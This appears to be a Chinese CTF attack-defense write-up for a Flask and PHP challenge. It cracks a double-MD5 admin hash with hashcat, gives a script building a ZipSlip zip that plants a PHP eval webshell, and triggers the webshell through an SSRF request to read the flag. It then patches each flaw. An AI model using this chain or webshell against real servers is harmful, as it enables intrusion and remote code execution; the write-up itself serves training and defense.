

攻击手法

主要的服务都在index.py文件中

进来是可以登录表单，先看看路由源码

```
@app.route('/login', methods=['GET', 'POST'])
def login():
    if flask.request.method == 'POST':
        username =
        flask.request.form.get('username', '')
        password =
        flask.request.form.get('password', '')

        h1 = hashlib.md5(password.encode('utf-
8')).hexdigest()
        h2 = hashlib.md5(h1.encode('utf-
8')).hexdigest()
        next_url = flask.request.args.get("next") or
flask.url_for("dashboard")

        if username == 'admin' and h2 ==
"7022cd14c42ff272619d6beacdc9ffde":
            resp =
            flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes',
            httponly=True, samesite='Lax')
            resp.set_cookie('user', username,
            httponly=True, samesite='Lax')
            return resp

        return flask.render_template('login.html',
error='用户名或密码错误', username=username), 401
```

```
return flask.render_template('login.html',
error=None, username='')
```

可以看出admin的密码是双md5加密，hash值固定，直接用hashcat爆破

```
echo '7022cd14c42ff272619d6beacdc9ffde' > hash.txt
hashcat -m 2600 -a 0 hash.txt rockyou.txt
```

得到密码为secret

登录进来可以看到三个功能，分别为插件上传、留言板和个人**About / 头像**

插件上传有一个文件上传点，看看源码

```
@app.route('/plugin/upload', methods=['GET',
'POST'])
@login_required
def upload_plugin():
    if flask.request.method == 'GET':
        return
    flask.render_template('plugin_upload.html',
error=None, ok=None, files=None)

    file = flask.request.files.get('plugin')
    if not file or not file.filename:
        return
    flask.render_template('plugin_upload.html',
error='请选择一个 zip 文件', ok=None, files=None), 400

    filename = secure_filename(file.filename)
    if not filename.lower().endswith('.zip'):
        return
    flask.render_template('plugin_upload.html',
error='仅支持 .zip 文件', ok=None, files=None), 400
```

```

        saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
        file.save(saved)

        dest = PLUGIN_DIR / f"{Path(filename).stem}-
{uuid4().hex[:8]}"
        dest.mkdir(parents=True, exist_ok=True)

    try:
        print(saved, dest)
        extracted = safe_upload(saved, dest)
    except Exception:
        shutil.rmtree(dest, ignore_errors=True)
        return

    flask.render_template('plugin_upload.html',
        error='解压失败: 压缩包内容不合法', ok=None, files=None),
    400

    return

    flask.render_template('plugin_upload.html',
        error=None, ok='上传并解压成功', files=extracted)

```

在这里看不出什么，但是看看safe_upload函数的源码

```

def safe_upload(zip_path: Path, dest_dir: Path) ->
list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir,
info.filename)
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target),
exist_ok=True)
            with open(target, 'wb') as f:
                f.write(z.read(info.filename))

```

os.path.join有一个路径拼接漏洞，可以进行目录穿梭，但是这个函数是实现了一个写文件的功能

再看个人 **About / 头像**上传头像功能有**远程url**和**上传文件**两种方式

在返回值这可以看到有一个**fetch_remote_avatar_info**函数，这是用于获取url的内容的，在这里avatar_url没有经过任何过滤，可以知道这里是有ssrf漏洞的

```
return flask.render_template(
    'about.html',
    user=user,
    about=about_text,
    avatar_local=avatar_local,
    avatar_url=avatar_url,

    remote_info=fetch_remote_avatar_info(avatar_url),
    error=None,
)
```

根据Dockerfile可以知道在这还运行了一个php服务在80端口

```
FROM php:8.2.6-apache

ENV PYTHONUNBUFFERED=1 \
    PYTHONDONTWRITEBYTECODE=1

RUN docker-php-ext-configure opcache --enable-
opcache \
    && docker-php-ext-install opcache \
    && sed -i
's|http://deb.debian.org|https://deb.debian.org|g'
/etc/apt/sources.list \
```

```
&& sed -i  
's|http://security.debian.org|https://security.debian.org|g' /etc/apt/sources.list \  
&& apt-get update -o Acquire::Retries=5 \  
&& apt-get install -y --no-install-recommends  
supervisor python3 python3-venv python3-distutils  
python3-pip \  
&& rm -rf /var/lib/apt/lists/*
```

```
WORKDIR /app
```

```
RUN pip3 install --no-cache-dir flask werkzeug
```

```
RUN mkdir -p /app/uploads /app/plugins  
/app/static/uploads/avatars
```

```
COPY . /app
```

```
COPY html/ /var/www/html/
```

```
COPY php.ini-development /usr/local/etc/php/php.ini
```

```
RUN rm -rf /app/html /app/Dockerfile /app/docker-  
compose.yaml /app/docker-compose.yml /app/php.ini*
```

```
COPY supervisord.conf  
/etc/supervisor/conf.d/supervisord.conf
```

```
EXPOSE 80 5000
```

```
CMD ["supervisord", "-c",  
"/etc/supervisor/conf.d/supervisord.conf"]
```

这样就可以理清一个攻击链，就是通过上传zip文件写入webshell，然后通过ssrf利用

搞一个生成恶意zip文件的脚本

```
import io
import zipfile

def create_payload_zip():
    zip_buffer = io.BytesIO()

    with zipfile.ZipFile(zip_buffer, "w",
        zipfile.ZIP_DEFLATED) as zf:
        zip_entry_name =
        "../../../var/www/html/shell.php"
        php_content = b"""
        <?php
            @eval($_GET[1]);
        ?>
        """
        zf.writestr(zip_entry_name, php_content)

    with open("payload.zip", "wb") as f:
        f.write(zip_buffer.getvalue())

    print(f"[*] Target Path: {zip_entry_name}")

if __name__ == "__main__":
    create_payload_zip()
```

把生成的zip文件通过**插件上传**功能上传

最后利用即可，需要注意的是这里的空格需要url编码

```
13 Cookie: visited=yes; user=admin
14 Connection: keep-alive
15
16 -----WebKitFormBoundarySA0Y1lffONWYVAe
17 Content-Disposition: form-data; name="about"
18
19 f
20 -----WebKitFormBoundarySA0Y1lffONWYVAe
21 Content-Disposition: form-data; name="avatar_url"
22
23 http://127.0.0.1/shell.php?1=system('cat%20/tmp/flag');
24 -----WebKitFormBoundarySA0Y1lffONWYVAe
25 Content-Disposition: form-data; name="avatar_file";

len=52
</code>
<code>
len=b&#39;\n
flag{7ac684e6-2607-4272-9cca-f66e42308176}\
n&#39;
</code>
</div>
</div>
<form class="form" method="post" enctype="
multipart/form-data">
```

防御手法

源码中可以看到flask密钥为硬编码

```
app.secret_key = "dev-secret-change-me"
```

改成：

```
app.secret_key = os.environ.get("SECRET_KEY",  
os.urandom(32))
```

is_logged_in函数这里可以看到只要cookie中有一个visited为yes, 然后user不为空就可以直接登录

```
def is_logged_in() -> bool:  
    return flask.request.cookies.get("visited") ==  
    "yes" and bool(flask.request.cookies.get("user"))
```

这里采用的是设置cookie，我们改为session处理，改成：

```
def is_logged_in() -> bool:  
    return bool(flask.session.get("user"))
```

然后源码各处采用cookie的地方都修改为session

login路由admin登录也可以每轮更新一下md5值或者采用强密码

```
if ( username == "admin" and h2 ==
"7022cd14c42ff272619d6beacdc9ffde" ): # 每轮更新md5值
    resp =
flask.make_response(flask.redirect(next_url))
    resp.set_cookie("visited", "yes",
httponly=True, samesite="Lax")
    resp.set_cookie("user", username,
httponly=True, samesite="Lax")
    return resp
```

改为:

```
if ( username == "admin" and h2 ==
"7022cd14c42ff272619d6beacdc9ffde" ): # 每轮更新md5值
    flask.session.clear()
    flask.session["user"] = username
    return flask.redirect(next_url)
```

logout路由也改成session处理

```
@app.route("/logout")
def logout():
    resp =
flask.make_response(flask.redirect("/login"))
    resp.set_cookie("visited", "", expires=0)
    resp.set_cookie("user", "", expires=0)
    return resp
```

改成:

```
@app.route("/logout")
def logout():
    flask.session.clear()
    return flask.redirect("/login")
```

以及各处


```
flask.request.cookies.get("user")
```

改为:

```
flask.session.get("user")
```

还有zip文件处理

```
extracted = safe_upload(saved, dest)
```

改为:

```
extracted = safe_extract_zip(saved, dest)
```

safe_extract_zip源码里现成的安全函数

```
def safe_extract_zip(zip_path: Path, dest_dir: Path)
-> list[str]:
    dest_dir = dest_dir.resolve()
    extracted = []

    with zipfile.ZipFile(zip_path, "r") as zf:
        for info in zf.infolist():
            name = info.filename.replace("\\", "/")

            if name.endswith("/"):
                continue

            if name.startswith("/") or (len(name) >=
2 and name[1] == ":"):
                raise ValueError("Illegal path in
zip")

            target = (dest_dir / name).resolve()
```

```

        if os.path.commonpath([str(dest_dir),
str(target)]) != str(dest_dir):
            raise ValueError("ZipSlip blocked")

        target.parent.mkdir(parents=True,
exist_ok=True)
        with zf.open(info, "r") as src,
open(target, "wb") as dst:
            shutil.copyfileobj(src, dst)

    extracted.append(str(target.relative_to(dest_dir)))

    return extracted

```

以及ssrf漏洞，加一个waf，要求必须是公网ip

```

    if not _host_is_public(avatar_url):
        return (
            flask.render_template(
                "about.html",
                error="必须是公网IP",
            ),
            400,
        )

```

_host_is_public函数依旧是源码自带的一个函数

```

def _host_is_public(hostname: str) -> bool:
    lowered = (hostname or "").lower()
    if lowered in {"localhost",
"localhost.localdomain"}:
        return False

    try:
        addrinfos = socket.getaddrinfo(hostname,
None)

```

```
except OSError:
    return False

ips = {ai[4][0] for ai in addrinfos if ai and
ai[4]}
if not ips:
    return False

for ip_str in ips:
    ip_obj = ipaddress.ip_address(ip_str)
    if (
        ip_obj.is_private
        or ip_obj.is_loopback
        or ip_obj.is_link_local
        or ip_obj.is_multicast
        or ip_obj.is_reserved
    ):
        return False

return True
```